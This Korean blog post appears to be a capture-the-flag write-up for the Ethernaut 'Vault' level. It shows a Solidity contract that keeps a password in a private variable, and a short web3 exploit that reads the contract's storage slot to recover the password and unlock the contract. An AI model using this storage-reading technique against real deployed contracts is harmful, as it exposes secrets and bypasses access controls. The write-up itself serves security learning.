소스코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
목표
unlock the contract.
방법
let pwd
web3.eth.getStorageAt(await contract.address, 1, function(err, result) {pwd = result})
await contract.unlock(pwd)
private 선언을 한다고 안전한 것은 아니다.
'블록체인 > Ethernaut' 카테고리의 다른 글
[Ethernaut] 10. Re-entrancy (0) | 2022.06.05 |
---|---|
[Ethernaut] 9. King (0) | 2022.06.04 |
[Ethernaut] 7. Force (0) | 2022.05.31 |
[Ethernaut] 6. Delegation (0) | 2022.05.30 |
[Ethernaut] 5. Token (0) | 2022.05.28 |